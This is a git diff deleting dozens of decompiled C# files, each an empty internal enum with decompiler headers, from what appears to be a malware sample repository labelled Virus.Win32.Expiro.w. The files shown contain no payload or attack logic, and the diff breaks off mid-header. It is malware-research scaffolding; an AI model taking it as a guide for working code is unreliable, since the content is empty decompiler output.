C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _TRANSACTION_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRANSACTION_OUTCOME.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRANSACTION_OUTCOME.cs deleted file mode 100644 index c0a61287..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRANSACTION_OUTCOME.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRANSACTION_OUTCOME -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _TRANSACTION_OUTCOME -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRANSACTION_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRANSACTION_STATE.cs deleted file mode 100644 index 5d476ba4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRANSACTION_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRANSACTION_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _TRANSACTION_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRUSTED_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRUSTED_INFORMATION_CLASS.cs deleted file mode 100644 index ef0ea880..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRUSTED_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRUSTED_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _TRUSTED_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRUSTEE_FORM.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRUSTEE_FORM.cs deleted file mode 100644 index 467a4f9a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRUSTEE_FORM.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRUSTEE_FORM -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _TRUSTEE_FORM -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRUSTEE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRUSTEE_TYPE.cs deleted file mode 100644 index 5b7eaaa1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRUSTEE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRUSTEE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _TRUSTEE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_URLZONEREG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_URLZONEREG.cs deleted file mode 100644 index 43438ce0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_URLZONEREG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _URLZONEREG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _URLZONEREG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_USER_MARSHAL_CB_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_USER_MARSHAL_CB_TYPE.cs deleted file mode 100644 index ba04dbe4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_USER_MARSHAL_CB_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _USER_MARSHAL_CB_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _USER_MARSHAL_CB_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_WRITE_CACHE_CHANGE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_WRITE_CACHE_CHANGE.cs deleted file mode 100644 index 90e3e646..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_WRITE_CACHE_CHANGE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _WRITE_CACHE_CHANGE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _WRITE_CACHE_CHANGE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_WRITE_CACHE_ENABLE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_WRITE_CACHE_ENABLE.cs deleted file mode 100644 index b743bc25..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_WRITE_CACHE_ENABLE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _WRITE_CACHE_ENABLE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _WRITE_CACHE_ENABLE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_WRITE_CACHE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_WRITE_CACHE_TYPE.cs deleted file mode 100644 index d1d5ccc6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_WRITE_CACHE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _WRITE_CACHE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _WRITE_CACHE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_WRITE_THROUGH.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_WRITE_THROUGH.cs deleted file mode 100644 index 96cd5894..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_WRITE_THROUGH.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _WRITE_THROUGH -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _WRITE_THROUGH -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0001.cs deleted file mode 100644 index 7ee817e3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum __MIDL_IBindStatusCallback_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0002.cs deleted file mode 100644 index a0025f08..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum __MIDL_IBindStatusCallback_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0003.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0003.cs deleted file mode 100644 index 52c482df..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0003.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0003 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL_IBindStatusCallback_0003 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0004.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0004.cs deleted file mode 100644 index bd87097d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0004.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0004 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL_IBindStatusCallback_0004 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0005.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0005.cs deleted file mode 100644 index ab236474..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0005.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0005 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL_IBindStatusCallback_0005 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0006.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0006.cs deleted file mode 100644 index 66aa2fba..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0006.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0006 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum __MIDL_IBindStatusCallback_0006 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_ICodeInstall_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_ICodeInstall_0001.cs deleted file mode 100644 index dd9b4199..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_ICodeInstall_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_ICodeInstall_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL_ICodeInstall_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetSecurityManager_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetSecurityManager_0001.cs deleted file mode 100644 index d5fd9983..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetSecurityManager_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetSecurityManager_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL_IInternetSecurityManager_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetSecurityManager_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetSecurityManager_0002.cs deleted file mode 100644 index 27fdcc4a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetSecurityManager_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetSecurityManager_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum __MIDL_IInternetSecurityManager_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetSecurityManager_0003.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetSecurityManager_0003.cs deleted file mode 100644 index ac07e06b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetSecurityManager_0003.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetSecurityManager_0003 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL_IInternetSecurityManager_0003 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetZoneManager_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetZoneManager_0001.cs deleted file mode 100644 index 3682dfdc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetZoneManager_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetZoneManager_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL_IInternetZoneManager_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetZoneManager_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetZoneManager_0002.cs deleted file mode 100644 index c624c19f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetZoneManager_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetZoneManager_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum __MIDL_IInternetZoneManager_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IMonikerProp_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IMonikerProp_0001.cs deleted file mode 100644 index f6c64ce7..00000000 